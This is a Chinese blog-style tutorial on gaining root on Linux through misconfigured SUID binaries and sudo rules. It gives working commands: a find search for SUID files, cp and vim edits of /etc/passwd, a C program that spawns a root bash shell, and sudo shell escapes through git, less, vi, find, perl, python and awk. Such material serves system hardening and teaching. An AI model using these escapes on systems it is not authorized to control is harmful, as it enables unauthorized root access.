常用Linux提权(非漏洞)

本文详细介绍了Linux系统中两种非漏洞提权方法:SUID提权和sudo命令提权。SUID提权通过具有特殊权限的二进制文件实现,例如利用cp、vim和find等命令。而sudo命令提权则涉及对sudoers文件的配置,通过特定命令如git、find、perl等获取root权限。了解这些提权手段对于系统管理员来说至关重要,能帮助他们更好地加固系统安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

非漏洞提权是利用对系统的不正确配置导致的提权,区别于基于漏洞的提权方式

一.SUID提权

当以下命令具有SUID权限时,时非常危险的。

Note:

1.SUID只能设置二进制可执行文件

2.命令执行者要有该文件的执行权限

3.命令执行者执行二进制文件时会获得程序的属主身份

4.SUID权限只在程序执行过程中有效

给一个二进制文件赋予可执行权限(需要在root用户执行):

chmod u+s "文件"

查找具有suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

1.利用cp提权

可以将/etc/passwd复制出来进行编辑,然后复制回/etc/passwd,非常容易利用。

2.利用vim提权

利用vim编辑/etc/passwd添加用户,或者编辑/etc/sudoers即可提权。

3.利用find提权

find可以添加-exec参数来对查找的结果进行处理,

find "一个已经存在的文件" -exec "whoami" \; 

Note:

1.必须是一个已经存在的文件,命令才能执行成功。

2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。

4.当自定义可执行文件具有SUID权限时提权

编译如下文件并添加SUID权限,在普通用户下执行该文件即可获得root的shell。

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
        setuid(geteuid());
        system("/bin/bash");
        return 0;
}

Note:

上述SUID提权只是一部分并不全面,如需更多SUID提权详细信息可以参考如下链接GTFOBins 。

二、sudo命令提权

当sudoers文件中某些用户包含某些命令的sudo权限时,可能导致提权问题发生。

sudo -l

查看当前用户有哪些sudo权限

 

1.git

sudo git help config

执行!/bin/bash 可以直接提权成功,less、man同理。

sudo less 文件,然后执行!bash。

sudo man man,然后执行!bash。

sudo vi,然后执行!bash。此时注意需要先输入冒号才能进入交互模式。 

 2.find

sudo find test -exec "/bin/bash" \;

 3.perl

sudo perl -e 'exec "/bin/bash";'

4.python

sudo python -c 'import pty;pty.spawn("/bin/bash")'

5.awk

sudo awk 'BEGIN {system("bash")}'

另外,当某些二进制文件具有sudo权限时,也会导致提权。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值